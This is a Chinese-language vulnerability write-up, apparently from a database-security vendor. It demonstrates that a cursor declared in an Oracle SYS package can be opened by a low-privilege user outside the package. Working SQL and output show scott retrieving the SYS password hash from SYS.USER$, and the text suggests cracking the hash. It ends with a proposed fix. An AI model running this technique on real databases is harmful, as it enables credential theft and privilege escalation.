前文我們介紹了兩種Oracle游標的數據庫安全隱患,一是利用游標的掛起狀態(tài)進行惡意代碼注入,二是利用惡意代碼注入進行提權,其實通過游標獲取高權限賬號的密碼完全不用這么麻煩,oracle在游標設計上本身就有安全問題。
用高權限用戶寫一個包,這個包中放入一個游標,功能和前面用的schina_test是一致的。用來取回需要檢查賬號的hash。然后和我們給出的一組預設hash做對比。低權限用戶如果知道這個游標可以直接在包外調用該游標,從而獲取游標中的內容。包內游標可以在包外被調用,這是oracle游標本身設計上的安全缺陷。
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PACKAGE schina AS
2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
3 WHERE NAME=USERNAME;
4 PROCEDURE CHECK_PASSWORD;
5 END;
6 /
程序包已創(chuàng)建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
2 PROCEDURE CHECK_PASSWORD IS
3 PASSWORD VARCHAR2(200);
4 BEGIN
5 OPEN X (USER());
6 FETCH X INTO PASSWORD;
7 CLOSE X;
8 IF PASSWORD = '01234567890ABCDEF' THEN
9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
10 ELSE
11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
12 END IF;
13 END CHECK_PASSWORD;
14 END;
15 /
程序包體已創(chuàng)建。
SQL> show errors
沒有錯誤。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授權成功。
通過show errors檢驗發(fā)現整個過程沒有X游標掛起的問題。X游標正常關閉了,到現在為止操作一切正常切換到低權限賬號
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
執(zhí)行包返回的結果很安全,不會顯示出游標內存儲的內容,但如果通過一個匿名塊,在包外使用游標的結果就變得不安全了,低權限用戶可以輕易使用高權限用戶設置的游標。通過游標直接可以獲取到游標中存儲的結果集。
SQL> DECLARE PASSWORD VARCHAR2(200);
2 BEGIN OPEN SYS. SCHINA.X ('SYS');
3 FETCH SYS. SCHINA.X INTO PASSWORD;
4 CLOSE SYS. SCHINA.X;
5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
6 END;
7 /
The SYS password is CF10653F66A74AC2
任何權限賬號的密碼通過這種方式都會被低權限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號的密碼。
至此我們對我們已經分析了3種Oracle數據庫游標帶來的安全隱患。游標作為oracle的核心子程序,安全性十分重要。oracle的游標雖然解決了一些問題,但安全性上還有很大問題。安華金和建議Oracle給游標一個參數,作為安全參數。默認打開安全參數,當游標在其被定義的包外打開的時候,對游標進行強制檢查,一旦發(fā)現打開該游標的用戶權限低于創(chuàng)建游標者的權限,則直接拋出異常,禁止打開該游標,從而保證Oracle數據庫安全性。